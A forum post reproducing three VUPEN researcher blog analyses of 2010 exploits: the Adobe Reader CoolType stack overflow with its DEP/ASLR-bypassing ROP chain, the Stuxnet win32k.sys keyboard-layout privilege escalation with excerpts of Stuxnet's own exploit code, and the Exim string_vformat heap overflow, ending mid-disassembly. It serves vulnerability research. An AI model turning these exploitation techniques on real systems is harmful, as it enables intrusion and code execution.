Jump to content
Nytro

VUPEN: 0-Day Exploit technical analysis

Recommended Posts

Posted (edited)

Sunt trei Technical Analysis:

- VUPEN Vulnerability Research Blog - Technical Analysis of the Adobe Acrobat / Reader 0-Day Exploit CVE-2010-2883

- VUPEN Vulnerability Research Blog - Technical Analysis of the Stuxnet Windows Win32K.sys Keyboard Layout 0-Day Exploit CVE-2010-2743

- VUPEN Vulnerability Research Blog - Technical Analysis of Exim "string_vformat()" Remote Buffer Overflow Vulnerability CVE-2010-4344

Criminals Are Getting Smarter: Analysis of the Adobe Acrobat / Reader 0-Day Exploit

Published on 2010-09-09 16:32:21 UTC by Nicolas Joly, Security Researcher @ VUPEN

Hi everyone,

We would like to share some interesting details based on our in-depth analysis of the recent Adobe Acrobat/Reader 0-Day exploit (CVE-2010-2883).

Here at VUPEN, we analyze a lot of vulnerabilities and 0days and we create quite sophisticated exploits targeting various applications and operating systems. During the last few months, we have created a large number of Adobe Reader exploits and many of them defeated DEP.

So why is this particular 0day exploit so interesting? Because it bypasses DEP and ASLR by using impressive tricks and unusual methods that we have not seen often in the wild.

As some of you may know, the malicious PDF takes advantage of an unsecure "strcat()" call in "CoolType.dll", which results in a common stack overflow. The vulnerable function is reached when a PDF document embeds a font with a specific table.

.text:0803DCF9 push ebp
.text:0803DCFA sub esp, 104h
.text:0803DD00 lea ebp, [esp-4]
.text:0803DD04 mov eax, dword_8230FB8
.text:0803DD09 xor eax, ebp
.text:0803DD0B mov [ebp+108h+var_4], eax
.text:0803DD11 push 4Ch
.text:0803DD13 mov eax, offset loc_8184A54
.text:0803DD18 call __EH_prolog3_catch // set up an SE handler
.text:0803DD1D mov eax, [ebp+108h+arg_C]
.text:0803DD23 mov edi, [ebp+108h+arg_0]
.text:0803DD29 mov ebx, [ebp+108h+arg_4]
.text:0803DD2F mov [ebp+108h+var_130], edi
.text:0803DD32 mov [ebp+108h+var_138], eax

When a font with a SING table is found, the following instructions are reached:

.text:0803DD74 push offset aSing ; "SING"
.text:0803DD79 push edi ; int
.text:0803DD7A lea ecx, [ebp+108h+var_12C]
.text:0803DD7D call sub_8021B06
...
.text:0803DD9F loc_803DD9F:
.text:0803DD9F add eax, 10h
.text:0803DDA2 push eax // long string following the SING table
.text:0803DDA3 lea eax, [ebp+108h+Dest]
.text:0803DDA6 push eax // ~256 bytes stack buffer
.text:0803DDA7 mov [ebp+108h+Dest], 0
.text:0803DDAB call strcat // insecure!

To exploit such bugs, an exploit writer usually overwrites a return address or an SE handler, but at first sight it does not seem feasible here. A stack cookie prevents the return address from being exploited and an SE handler is set when the function is entered, which gives the following stack:

|      SE     |
| NEXT SE |
| DEST | <-- vulnerable buffer
| ... |
| COOKIE |
| EBP |
| RET ADD |

As we can see, if you try to overwrite the return address you get killed by the cookie. And if you try to trigger an exception while writing data off the stack, you get caught by the SE handler and then by the cookie. These solutions are clearly not interesting here.

As a solution, you can try to overwrite an argument or a variable defined in the caller. That's precisely what was done by the attacker. When trying to overwrite the stack, a first crash occurs in BIB.dll. This is because the next called function is using an overwritten argument:

.text:0803DDB0 pop ecx
.text:0803DDB1 pop ecx
.text:0803DDB2 lea eax, [ebp+108h+Dest]
.text:0803DDB5 push eax
.text:0803DDB6 mov ecx, ebx // ebx actually points to arg_4, which is overwritten
.text:0803DDB8 call sub_8001243

And then:

.text:070013F7 lea eax, [ecx+1Ch]         // ecx = [arg_4]
.text:070013FA mov [ebp+var_8], eax
.text:070013FD mov eax, [ebp+var_8]
.text:07001400 lock dec dword ptr [eax] // first crash here

If an incorrect address is specified, an exception is first triggered at 0x07001400, and then caught by the SE handler which eventually crashes Adobe Acrobat/Reader. Wrong turn.

So a valid pointer here must be set. This basically allows the attacker to decrement an arbitrary dword in memory, which can be useful indeed (e.g. CVE-2008-4812), but even with this, it is still difficult to forge an exploit to bypass DEP and ASLR.

The salvation (for the attacker) came from sub_8016BDE, which takes two pointers to stack arguments:

.text:0803DEA9 loc_803DEA9:
.text:0803DEA9
.text:0803DEA9 lea eax, [ebp+108h+var_124]
.text:0803DEAC push eax
.text:0803DEAD push ebx
.text:0803DEAE push edi // ebx and edi point to arg_4 and arg_0
.text:0803DEAF call sub_8016BDE

This function actually calls sub_801BB1C with arg_0 which returns 0 or a pointer. If 0 is returned, the jump at 0x080172CE is taken and the function is exited. However if a pointer is returned, sub_801BB21 (which also uses arg_0 as a parameter) is called.

.text:08016C2B push edi
.text:08016C2C mov [ebp+664h+var_668], ebx
.text:08016C2F mov [ebp+664h+var_694], ebx
.text:08016C32 mov [ebp+664h+var_678], ebx
.text:08016C35 call sub_801BB1C // return 0 or a pointer
.text:08016C3A cmp eax, ebx
.text:08016C3C pop ecx
.text:08016C3D mov [ebp+664h+var_67C], eax
.text:08016C40 jz loc_80172CE
.text:08016C46 push 1
.text:08016C48 push ebx
.text:08016C49 push ebx
.text:08016C4A lea eax, [ebp+664h+var_678]
.text:08016C4D push eax
.text:08016C4E lea eax, [ebp+664h+var_694]
.text:08016C51 push eax
.text:08016C52 push edi
.text:08016C53 push [ebp+664h+var_67C]
.text:08016C56 call sub_801BB21 // this call must be reached

Let's see what is executed by sub_801BB1C:

.text:0801BA57 mov eax, dword_823A728
.text:0801BA5C test eax, eax // the attacker does not control this pointer
.text:0801BA5E jz short locret_801BA73
.text:0801BA60 mov ecx, [esp+arg_0] // however ecx may point to a controlled dword
.text:0801BA64 mov ecx, [ecx+4]
.text:0801BA67
.text:0801BA67 loc_801BA67:
.text:0801BA67 cmp ecx, [eax+4]
.text:0801BA6A jz short locret_801BA73
.text:0801BA6C mov eax, [eax+8]
.text:0801BA6F test eax, eax
.text:0801BA71 jnz short loc_801BA67
.text:0801BA73
.text:0801BA73 locret_801BA73:
.text:0801BA73
.text:0801BA73 retn

Basically ecx must equal [eax+4] to make this function return something other than NULL. So which values are pointed by eax + 4?

0x0000006c
0x0000006b
0x00000070
0x0000006f
0x0000006d

Remember that since a strcat is exploited, null bytes cannot be used! Initially arg_0 + 4 points to 0x0000006D which means this value must not be touched and thus a limited amount of bytes should be copied on the stack. That's why the author of this exploit did not overwrite the whole stack but only a part. Finally sub_801BB21 and sub_808B116 are entered:

.text:0808B2E3 mov eax, [edi+3Ch] // edi = arg_0, but edi + 3Ch points to a stack pointer,
// itself pointing to a controlled value
.text:0808B2E6 cmp eax, ebx
.text:0808B2E8 mov [esi+2F4h], eax
.text:0808B2EE mov [esi+2F8h], ebx
.text:0808B2F4 mov [ebp+var_4], ebx
.text:0808B2F7 jnz short loc_808B300
.text:0808B2F9
.text:0808B2F9 loc_808B2F9:
.text:0808B2F9 xor al, al
.text:0808B2FB jmp loc_808B594
.text:0808B300
.text:0808B300 loc_808B300:
.text:0808B300 lea ecx, [ebp+var_4]
.text:0808B303 push ecx
.text:0808B304 push ebx
.text:0808B305 push 3
.text:0808B307 push eax
.text:0808B308 call dword ptr [eax] // EIP is redirected here

The story could end there, but the ROP sequence used is technically uncommon. Reader uses icucnv36.dll which does not change across versions (at least since Reader 9.2.0) and does not support ASLR. An exploit writer can then base his ROP on this DLL to target Reader versions >= 9.20 with the same malicious PDF file, and this library was used by the attacker.

While this DLL seems interesting, it does not import VirtualAlloc, VirtualProtect, HeapCreate, WriteMemory or even a LoadLibrary, which complicates exploitation. However, the attacker did find and use other functions:

4A84903C CreateFileA                // create the file iso88591
4A849038 CreateFileMappingA // attrib RWE
4A849030 MapViewOfFile // load this file in memory with RWE flags
4A849170 memcpy // copy the payload

The idea of the attacker was to spray the heap with a ROP pattern, followed by the shellcode. It first creates a file (iso88591) on disk, loads it with RWE attributes, copies the payload in memory and eventually executes the shellcode.

The exploit first sets esp to point to the spray with:

.text:4A80CB38 add ebp, 794h
.text:4A80CB3E leave
.text:4A80CB3F retn

followed by:

.text:4A82A714 pop esp             // esp = 0x08852030
.text:4A82A715 retn

0x08852030 actually points to a heap spray which consists in the same ROP address repeated, to make a stack spray:

.text:4A801064 retn

It is then followed by ROP addresses to map an executable page. Addresses are typically popped to eax and functions are called with:

.text:4A80B692 jmp dword ptr [eax]

You can also notice that dynamic arguments are written to the stack thanks to:

.text:4A80A8A6 and dword ptr [2*ebx + esp], edi
.text:4A80A8A9 jnz short loc_4A80A8AE
...
.text:4A80A8AE loc_4A80A8AE:
.text:4A80A8AE cmp al, 2Fh
.text:4A80A8B0 jz short loc_4A80A8AB
.text:4A80A8B2 cmp al, 41h
.text:4A80A8B4 jl short loc_4A80A8BA
...
.text:4A80A8C8 loc_4A80A8C8:
.text:4A80A8C8
.text:4A80A8C8 xor al, al
.text:4A80A8CA retn

In the end, it calls memcpy and jumps to the payload, leading to arbitrary code execution despite DEP and ASLR.

It is unclear whether this vulnerability was found by fuzzing or static analysis. However, it seems clear that the one who designed the exploit has good knowledge of Acrobat and LiveCycle, Javascript and ROP and obviously knows how to use a debugger.

In fact, because of a single DLL, we have here a typical example of something able to help attackers to target, with the same exploit file, multiple versions of a vulnerable application, on multiple systems (Windows XP, Vista, 7), and despite the common security measures.

Note that this kind of insecure DLLs also exist in major Microsoft products...

Technical Analysis of the Windows Win32K.sys Keyboard Layout Stuxnet Exploit

Published on 2010-10-18 12:53:38 UTC by Sebastien Renaud, Security Researcher @ VUPEN

Hi everyone,

This time we will share very interesting technical details on how Stuxnet authors have achieved reliable code execution while exploiting one of the two Windows privilege escalation 0-Day vulnerabilities. This one was patched last week with the MS10-073 update, and a remaining Task Scheduler vulnerability is still unpatched.

While we deeply analyzed Stuxnet and its behaviors, we will not explain its architecture or features as two detailed documents have already been published by our friends from Symantec and ESET.

We will focus here on the Windows Win32K.sys keyboard layout vulnerability (CVE-2010-2743) and how it was exploited by Stuxnet using custom Portable Executable (PE) parsing tricks to achieve a reliable code execution.

1. Technical Analysis of the Vulnerability

This specific vulnerability exists within the Windows kernel-mode driver "win32k.sys" that does not properly index a table of function pointers when loading a keyboard layout from disk.

Usually keyboard layout files are loaded through the "LoadKeyboardLayout()" function which is a wrapper around the "NtUserLoadKeyboardLayoutEx()" win32k syscall.

Below is a kernel stack trace when loading a keyboard layout file:

kd> kn
# ChildEBP RetAddr
00 b0982944 bf861cd1 win32k!SetGlobalKeyboardTableInfo
01 b0982958 bf889720 win32k!ChangeForegroundKeyboardTable+0x11c
02 b0982978 bf87580e win32k!xxxSetPKLinThreads+0x37
03 b09829f0 bf875588 win32k!xxxLoadKeyboardLayoutEx+0x395
04 b0982d40 8053d658 win32k!NtUserLoadKeyboardLayoutEx+0x164
05 b0982d40 7c90e514 nt!KiFastCallEntry+0xf8
06 0012fccc 00402347 ntdll!KiFastSystemCallRet ; (transition from user to kernel)

Once a crafted file is loaded by the Win32K kernel driver, the malware sends an event to the keyboard input stream to effectively trigger the vulnerability. This was achieved by calling the "user32!SendUserInput()" function which, in turn, calls "win32k!NtUserSendInput()" and ultimately the "win32k!xxxKENLSProcs()" function:

kd> kn
# ChildEBP RetAddr
00 b0a5ac88 bf848c64 win32k!xxxKENLSProcs
01 b0a5aca4 bf8c355b win32k!xxxProcessKeyEvent+0x1f9
02 b0a5ace4 bf8c341b win32k!xxxInternalKeyEventDirect+0x158
03 b0a5ad0c bf8c3299 win32k!xxxSendInput+0xa2
04 b0a5ad50 8053d658 win32k!NtUserSendInput+0xcd
05 b0a5ad50 7c90e514 nt!KiFastCallEntry+0xf8
06 0012fd08 7e42f14c ntdll!KiFastSystemCallRet
07 0012fd7c 00401ded USER32!NtUserSendInput+0xc
WARNING: Stack unwind information not available. Following frames may be wrong.
08 0012fdac 00401331 CVE_2010_2743+0x1ded

Inside the "win32k!xxxKENLSProcs()" function, the Win32K driver retrieves a byte from the keyboard layout file which was previously loaded. This byte is set into the ECX register and then used as an index in an array of function pointers:

; In win32k!xxxKENLSProcs() function starting at 0xBF8A1F9C
; Module: win32k.sys - Module Base: 0xBF800000 - version: 5.1.2600.6003
;
.text:BF8A1F50 movzx ecx, byte ptr [eax-83h] // ECX is attacker-controlled
.text:BF8A1F57 push edi
.text:BF8A1F58 add eax, 0FFFFFF7Ch
.text:BF8A1F5D push eax
.text:BF8A1F5E call _aNLSVKFProc[ecx*4] // indexed call in function array

The aNLSVKFProc function array contains three functions and is followed by an array of byte values:

.data:BF99C4B8 _aNLSVKFProc   dd offset _NlsNullProc@12
.data:BF99C4BC dd offset _KbdNlsFuncTypeNormal@12
.data:BF99C4C0 dd offset _KbdNlsFuncTypeAlt@12
.data:BF99C4C4 _aVkNumpad db 67h
.data:BF99C4C5 db 68h
.data:BF99C4C6 db 69h
.data:BF99C4C7 db 0FFh
.data:BF99C4C8 db 64h
.data:BF99C4C9 db 65h
.data:BF99C4CA db 66h
.data:BF99C4CB db 0FFh
.data:BF99C4CC db 61h
.data:BF99C4CD db 62h
.data:BF99C4CE db 63h
.data:BF99C4CF db 60h
.data:BF99C4D0 db 6Eh
.data:BF99C4D1 db 0
.data:BF99C4D2 db 0
.data:BF99C4D3 db 0
[...]

If an index value greater than 2 is supplied, the code will treat data in the byte array as pointers.

If the index has a value of 5, the code in the "win32k!xxxKENLSProcs()" function will call the pointer at 0xBF99C4CC, which means that the code flow is redirected to 0x60636261.

kd> dds win32k!aNLSVKFProc L6
bf99c4b8 bf9332ca win32k!NlsSendBaseVk // index 0
bf99c4bc bf93370c win32k!KbdNlsFuncTypeNormal // index 1
bf99c4c0 bf933752 win32k!KbdNlsFuncTypeAlt // index 2
bf99c4c4 ff696867 // index 3
bf99c4c8 ff666564 // index 4
bf99c4cc 60636261 // index 5
[...]

As this address could be controlled from userland, an attacker can place a ring0 shellcode at this address to achieve code execution with kernel privileges.

2. Reliable Code Execution via PE Parsing

To get a reliable code execution with different versions of the "win32k.sys" driver while the aNLSVKFProc function array is not exported, Stuxnet authors had to ensure that the indexed data outside the aNLSVKFProc array will always be valid a pointer that can controlled from userland, and used in the "call" instruction.

To achieve this task the Stuxnet exploit parses the Win32K.sys file and does the following:

- Loads the win32K.sys file as a flat data file

- Gets some information from the PE header (number of sections, export and import data directories, etc.)

- Gets Timestamp info

- Gets .data section VA

- Gets .data section information

- Gets .text VA

- Gets .text section information

- Searches for a specific binary signature

- Searches for the NLSVKFProcs function array

Stuxnet uses a binary signature which is present in all "win32K.sys" driver versions (on Windows 2000 and Windows XP) whatever service packs or patches are installed on the target system.

This signature corresponds to the first 8 bytes of the "aulShiftControlCvt_VK_IBM02" variable (not exported), located in the .data section of the binary file:

.data:BF99C4DC _aulShiftControlCvt_VK_IBM02
.data:BF99C4DC db 91h
.data:BF99C4DD db 0
.data:BF99C4DE db 3
.data:BF99C4DF db 1
.data:BF99C4E0 db 90h
.data:BF99C4E1 db 0
.data:BF99C4E2 db 13h
.data:BF99C4E3 db 1

This signature is known to be:

- Present in all versions of Win32K drivers

- Unique

- Near the aNLSVKFProc function array

Once this signature is found, the malware uses an arbitrary range of - 1000 to +1000 bytes from the signature and starts searching for a pointer to the code section of the driver.

In the example below, the pointer at 0xBF99C478 (0xBF9332CA) is a pointer to the code section:

.data:BF99C470 07  00 00 00 00 00 00 00 CA 32 93 BF 59 1D 96 BF
.data:BF99C480 CA 32 93 BF D5 32 93 BF 0D 35 93 BF 80 38 93 BF

The above data dump looks like this when viewed from a code perspective:

.data:BF99C470 _fNlsKbdConfiguration db 7
.data:BF99C471 align 8
.data:BF99C478 _aNLSKEProc dd offset _NlsNullProc@12
.data:BF99C47C off_BF99C47C dd offset _NlsLapseProc@12
.data:BF99C480 dd offset _NlsNullProc@12
[...]

When such a pointer is found, the malware applies the following algorithm to a particular pointer (remember that the code is currently stopped at 0xBF99C478, which we call "pLoc"):

- pLoc[0] and pLoc[2] must be the same pointers:

.data:BF99C478 _aNLSKEProc                dd offset _NlsNullProc@12
.data:BF99C47C off_BF99C47C dd offset _NlsLapseProc@12
.data:BF99C480 dd offset _NlsNullProc@12

- pLoc[0] and pLoc[1] must not be the same pointers.

.data:BF99C478 _aNLSKEProc                dd offset _NlsNullProc@12
.data:BF99C47C off_BF99C47C dd offset _NlsLapseProc@12
.data:BF99C480 dd offset _NlsNullProc@12

- pLoc[0] and pLoc[4] must not be the same pointers.

.data:BF99C478 _aNLSKEProc                dd offset _NlsNullProc@12
.data:BF99C47C off_BF99C47C dd offset _NlsLapseProc@12
.data:BF99C480 dd offset _NlsNullProc@12
.data:BF99C484 dd offset _NlsSendParamVk@12

At that point, the malware knows that it may have found "_aNLSKEProc". For this, it checks if the pointer at this address is really a pointer to the NlsNullProc() function by searching for a RETN 0C instruction (opcodes: 0xC20C) in the very first bytes of the function:

.text:BF9332CA ; __stdcall NlsNullProc(x, x, x)
.text:BF9332CA _NlsNullProc@12 proc near
.text:BF9332CA xor eax, eax
.text:BF9332CC inc eax
.text:BF9332CD retn 0Ch // opcodes: 0xC2 0x0C
.text:BF9332CD _NlsNullProc@12 endp

Below is an excerpt of the Stuxnet malware doing this opcode search:

CPU Disasm
10002C5F PUSH 2
10002C61 ADD ECX,DWORD PTR SS:[LOCAL.5] // ecx points to func. code
10002C64 |XOR EAX,EAX
10002C66 |POP EDI // edi = 2
10002C67 |/TEST EAX,EAX
10002C69 ||JNE SHORT 10002C7E
10002C6B ||CMP WORD PTR DS:[ECX+EDI],0CC2 // c2 0c => RETN 0c
10002C71 ||SETE AL // set AL on condition
10002C74 ||INC EDI
10002C75 ||CMP EDI,0A // check only for the first 8 bytes
10002C78 |\JB SHORT 10002C67

If the "RETN 0C" code is found, the code is currently located on the _aNLSKEProc variable (0xBF99C478):

.data:BF99C478 _aNLSKEProc dd offset _NlsNullProc@12

From there, the code searches for and goes to the next "NlsNullProc()" function pointer:

.data:BF99C4B0                                   dd offset _NlsKanaEventProc@
.data:BF99C4B4 dd offset _NlsConvOrNonConvProc@12
.data:BF99C4B8 _aNLSVKFProc:
.data:BF99C4B8 dd offset _NlsNullProc@12
.data:BF99C4BC dd offset _KbdNlsFuncTypeNormal@
.data:BF99C4C0 dd offset _KbdNlsFuncTypeAlt@12

As we can see, it founds the non-exported aNLSVKFProc function array. To ensure this is the right variable, the malware does two more checks:

- Pointer at +2 cannot be NlsNullProc:

.data:BF99C4B0                                   dd offset _NlsKanaEventProc@
.data:BF99C4B4 dd offset _NlsConvOrNonConvProc@12
.data:BF99C4B8 _aNLSVKFProc:
.data:BF99C4B8 dd offset _NlsNullProc@12
.data:BF99C4BC dd offset _KbdNlsFuncTypeNormal@
.data:BF99C4C0 dd offset _KbdNlsFuncTypeAlt@12

- Pointer at -2 canot be NlsNullProc:

.data:BF99C4B0                                   dd offset _NlsKanaEventProc@
.data:BF99C4B4 dd offset _NlsConvOrNonConvProc@12
.data:BF99C4B8 _aNLSVKFProc:
.data:BF99C4B8 dd offset _NlsNullProc@12
.data:BF99C4BC dd offset _KbdNlsFuncTypeNormal@
.data:BF99C4C0 dd offset _KbdNlsFuncTypeAlt@12

Once all these checks are passed, the malware is now pretty sure that it is on aNLSVKFProc. It then checks starting from the function array for the first user-mode pointer:

CPU Disasm
10002B35 MOV EDI,10000 // edi = 0x10000
10002B3A /MOV ECX,DWORD PTR SS:[ARG.2] // _aNLSVKFProc
10002B3D |MOVZX EAX,BL
10002B40 |MOV ESI,DWORD PTR DS:[EAX*4+ECX] // esi = _aNLSVKFProc[i]
10002B43 |CMP ESI,7FFF0000 // must be in user space
10002B49 |JNB SHORT 10002B91
10002B4B |CMP DWORD PTR SS:[ARG.6],0
10002B4F |JNE SHORT 10002B55
10002B51 |CMP ESI,EDI // must be above 0x10000
10002B53 |JB SHORT 10002B91
10002B55 |PUSH 1C
10002B57 |LEA EAX,[LOCAL.10]
10002B5A |PUSH EAX
10002B5B |PUSH ESI // pointer outside array
10002B5C |CALL DWORD PTR DS:[VirtualQuery_p] // get page information
10002B62 |CMP EAX,1C
10002B65 |JA SHORT 10002BA7
10002B67 |CMP DWORD PTR SS:[LOCAL.6],EDI // is it a MEM_FREE page?
10002B6A |JNE SHORT 10002B91
10002B6C |PUSH 40
10002B6E |PUSH 3000
10002B73 |LEA EAX,[LOCAL.3]
10002B76 |PUSH EAX
10002B77 |PUSH 0
10002B79 |LEA EAX,[LOCAL.1]
10002B7C |PUSH EAX
10002B7D |MOV DWORD PTR SS:[LOCAL.1],ESI
10002B80 |CALL DWORD PTR DS:[GetCurrentProcess_p]
10002B86 |PUSH EAX
10002B87 |CALL DWORD PTR DS:[NtAllocateVirtualMemory_p] // alloc page
10002B8D |TEST EAX,EAX
10002B8F |JE SHORT 10002BB0
10002B91 |INC BL
10002B93 |CMP BL,0FF // i <= 255
10002B96 \JBE SHORT 10002B3A

The above code snippet, extracted from Stuxnet, extracts pointers from the table (even outside the table) and checks if the pointer is below 0x7FFF0000 (first address outside userland addresses) and above 0x10000.

The code checks if the page is not already mapped. If it is not, the page is allocated. In our example, this would lead to allocate the page containing the address 0x60636261:

kd> dds win32k!aNLSVKFProc L6
bf99c4b8 bf9332ca win32k!NlsSendBaseVk // index 0
bf99c4bc bf93370c win32k!KbdNlsFuncTypeNormal // index 1
bf99c4c0 bf933752 win32k!KbdNlsFuncTypeAlt // index 2
bf99c4c4 ff696867 // index 3
bf99c4c8 ff666564 // index 4
bf99c4cc 60636261 // index 5
[...]

Once the page is allocated, the malware does the following:

- Copies a shellcode to that address (0x60636261).

- Saves the malicious index (5 in our example) in a keyboard layout file.

- Loads the layout file and sends the input event to trigger the vulnerability

This last step leads to "win32k!xxxKENLSProcs()" and to the indexed call, leading to arbitrary code execution of the shellcode with kernel privileges.

; In win32k!xxxKENLSProcs() function starting at 0xBF8A1F9C
; Module: win32k.sys - Module Base: 0xBF800000 - version: 5.1.2600.6003
;
.text:BF8A1F50 movzx ecx, byte ptr [eax-83h] // ECX = 5
.text:BF8A1F57 push edi
.text:BF8A1F58 add eax, 0FFFFFF7Ch
.text:BF8A1F5D push eax
.text:BF8A1F5E call _aNLSVKFProc[ecx*4] // Call 0x60636261

As we can see, the custom PE parsing used in Stuxnet ensures that whatever the operating system is (2000 or XP) and the service packs or patches are installed, the function array can be reliably found and the vulnerability exploited.

This method could be improved or implemented differently, but it does its job as expected and it demonstrates, once again, that malware authors are getting smarter.

Technical Analysis of Exim "string_vformat()" Buffer Overflow Vulnerability

Published on 2010-12-21 15:16:26 UTC by Matthieu Bonetti, Security Researcher @ VUPEN

Hi everyone,

An interesting vulnerability (CVE-2010-4344) was recently exploited in the wild to remotely and fully compromise systems where the Exim message transfer agent is installed. While the vulnerability itself is simple, creating a reliable code execution exploit involves precise calculations. A reliable exploit was first released by jduck1337, and other (less reliable) codes have followed on the web.

In this blog, we will share our binary analysis of the vulnerability and how we achieved reliable exploitation.

1. Technical Analysis of the Vulnerability

The vulnerability results from a buffer overflow error within the "string_vformat()" function when processing malformed email messages and headers.

Exim uses various custom functions to handle strings, they can be found in the "exim-4.69/src/string.c" file. One of them is "string_vformat()" and it works as follows :

- a pointer "p" is set to buffer

- a pointer "last" is set to buffer + buflen - 1

1066 BOOL
1067 string_vformat(uschar *buffer, int buflen, char *format, va_list ap)
1068 {
1069 enum { L_NORMAL, L_SHORT, L_LONG, L_LONGLONG, L_LONGDOUBLE };
1070
1071 BOOL yield = TRUE;
1072 int width, precision;
1073 char *fp = format; /* Deliberately not unsigned */
1074 uschar *p = buffer;
1075 uschar *last = buffer + buflen - 1;
1076
1077 string_datestamp_offset = -1; /* Datestamp not inserted */

Then, two variables "width" and "precision" are set to -1:

1102 item_start = fp;
1103 width = precision = -1;
1104
1105 if (strchr("-+ #0", *(++fp)) != NULL)

The supplied argument "format" is evaluated. If a %s is encountered, the following steps are achieved:

- First, the length of buffer is calculated using "strlen()" and not buflen

- Then, if width is negative and if precision is negative: width and precision are set to the buffer length resulting from "strlen()"

1238 case 'S':                                             /* Forces *lower* case */
1239 s = va_arg(ap, char *);
1240
1241 INSERT_STRING: /* Come to from %D above */
1242 if (s == NULL) s = null;
1243 slen = Ustrlen(s);
1244
1245 /* If the width is specified, check that there is a precision
1246 set; if not, set it to the width to prevent overruns of long
1247 strings. */
1248
1249 if (width >= 0)
[?]
1256
1257 else if (precision >= 0)
[?]
1263
1264 else width = precision = slen;
1265
1266 /* Check string space, and add the string to the buffer if ok.

If "p" is larger than "last - width", the two variables width and precision are changed.

1267 not OK, add part of the string (debugging uses this to show as
1268 much as possible). */
1269
1270 if (p >= last - width)
1271 {
1272 yield = FALSE;
1273 width = precision = last - p - 1;
1274 }

Once done, width and precision are used with the "sprint()" function. The content of the buffer is copied until a NULL byte is encountered or the width and precision are reached.

1275 sprintf(CS p, "%*.*s", width, precision, s);
1276 if (fp[-1] == 'S')
1277 while (*p) { *p = tolower(*p); p++; }
1278 else
1279 while (*p) p++;

To fully understand the internals of the "string_vformat()" function, let's use it with the following arguments:

         - string_vformat(buffer, 3, "%c %s", ap)

ap is a va_list containing a character and a long string: "looooooooooong buffer" for example.

First, p and last are set:

- p points to buffer which is at 0x08CCC965 for example

- last points to 0x08CCC965 + 3 - 1 = 0x08CCC967

Then, "%c" is treated and p is increased by the size of a char and a space:

p = 0x08CCC965 + 2 = 0x08CCC967

Then width and precision are set to -1.

"%s" is then treated:

- slen is set to 21 (using strlen()).

- width and precision are set to 21 as they were negative.

The last minus the new width becomes smaller than p:

0x08CCC967 - 21 = 0x08ccc952

0x08CCC967 > 0x8ccc952

The variables width and precision are changed:

width = precision = last - p - 1

width = precision = 0x08CCC967 - 0x08CCC967 - 1

width = precision = -1

When the "sprintf()" function is called, the long string is copied with a width and a precision of 0xFFFFFFFF. The full content of the long string in the va_list is copied despite the size limit of 3.

This leads to a heap-based buffer overflow. This behavior can be seen from the assembly code as well.

First, p and last are set:

.text:080A99E9 mov edx, [ebp+buffer]                         // p
.text:080A99EC mov eax, [ebp+buflen]
.text:080A99EF mov ecx, [ebp+format]
.text:080A99F2 mov string_datestamp_offset, 0FFFFFFFFh
.text:080A99FC mov edi, edx
.text:080A99FE lea eax, [edx+eax-1]
.text:080A9A02 mov [ebp+last], eax // last
.text:080A9A05 sub eax, 1
.text:080A9A08 mov [ebp+src], ecx
.text:080A9A0B mov [ebp+yield], 1
.text:080A9A12 mov [ebp+last_minus_one], eax // last-1, used later
.text:080A9A15 jmp short loc_80A9A2F

When %s is handled, the length of the string in the va_list is calculated using "strlen()":

.text:080A9DE8 loc_80A9DE8:
.text:080A9DE8 mov [esp], ebx // long string
.text:080A9DEB call _strlen
.text:080A9DF0 mov edx, [ebp+width]
.text:080A9DF3 test edx, edx
.text:080A9DF5 js loc_80A9F30
[?]
.text:080A9F30 loc_80A9F30:
.text:080A9F30 mov edx, [ebp+precision]
.text:080A9F33 test edx, edx
.text:080A9F35 js loc_80AA044
.text:080A9F3B mov ecx, [ebp+precision]
.text:080A9F3E cmp ecx, eax
.text:080A9F40 mov [ebp+width], ecx
.text:080A9F43 jle loc_80A9E06
.text:080A9F49 mov [ebp+width], eax
.text:080A9F4C jmp loc_80A9E06

last - width is compared with p and the two variables width and precision are changed.

.text:080A9E06 loc_80A9E06:
.text:080A9E06 mov eax, [ebp+last]
.text:080A9E09 sub eax, [ebp+width]
.text:080A9E0C cmp edi, eax
.text:080A9E0E jb short loc_80A9E22
.text:080A9E10 mov eax, [ebp+last_minus_one]
.text:080A9E13 mov [ebp+yield], 0
.text:080A9E1A sub eax, edi
.text:080A9E1C mov [ebp+precision], eax
.text:080A9E1F mov [ebp+width], eax

The function "sprintf()" is called with the new width and precision.

.text:080A9E22 loc_80A9E22:
.text:080A9E1C mov [ebp+precision], eax
.text:080A9E1F mov [ebp+width], eax
.text:080A9E28 mov [esp+10h], ebx
.text:080A9E2C mov dword ptr [esp+4], offset a_S_0 // "%*.*s"
.text:080A9E34 mov [esp+0Ch], edx
.text:080A9E38 mov [esp+8], ecx
.text:080A9E3C mov [esp], edi
.text:080A9E3F call _sprintf
.text:080A9E44 mov ebx, [ebp+var_24]
.text:080A9E47 cmp byte ptr [ebx], 53h
.text:080A9E4A jnz short loc_80A9E5B

As we can see, calling the "string_vformat()" function with an overly long string leads to an exploitable heap overflow condition.

To remotely trigger the vulnerability, an attacker can send a malformed email message which will be rejected and logged via the "log_write()" [exim-4.69/src/log.c] function which calls the vulnerable "string_vformat()" function.

2. Attack Vector and Reliable Code Execution

In order to exploit the vulnerability, an attacker has to find a way to reach the "string_vformat()" function with a controlled buflen and input string.

A reliable way is to send an overly large email. When such an email is received, Exim logs the error including various information related to the sender and email headers.

This is done via the "log_write()" function which logs errors this way:

- First, it allocates a buffer of 0x2000 bytes for the error message

- Then, it dumps the information related to the sender of the message

- And then, it dumps each header of the received email using "string_format()"

The "string_format()" function is merely a wrapper around "string_vformat()".

The information related to the sender is formatted the following way:

- rejected from <attacker@example.com> H=(localhost) [192.168.158.129]: message too big: read=64948256 max=52428800

- Envelope-from: <attacker@example.com>

- Envelope-to: <target@target.com>

Each header is dumped separated by two blank spaces. Here is the "log_write()" function in assembly code:

 .text:0807CC50 log_write proc near
.text:0807CC50
.text:0807CC50 var_9C = dword ptr -9Ch
.text:0807CC50 src = dword ptr -98h
.text:0807CC50 var_94 = dword ptr -94h
.text:0807CC50 n = dword ptr -90h
[?]
.text:0807D6D8 loc_807D6D8:
.text:0807D6D8 mov dword ptr [esp], 2000h
.text:0807D6DF call _malloc // Error message buffer is allocated
.text:0807D6E4 test eax, eax
.text:0807D6E6 mov ds:dword_80F37F0, eax
.text:0807D6EB jnz loc_807CCFE
.text:0807D6F1 mov eax, ds:stderr
[?]
.text:0807CEAA loc_807CEAA:
.text:0807CEAA lea eax, [ebp+arg_C]
.text:0807CEAD mov [esp+0Ch], eax
.text:0807CEB1 mov eax, ds:dword_80F37F0
.text:0807CEB6 mov edi, [ebp+arg_8]
.text:0807CEB9 mov [esp], esi
.text:0807CEBC add eax, 1FFFh
.text:0807CEC1 sub eax, esi
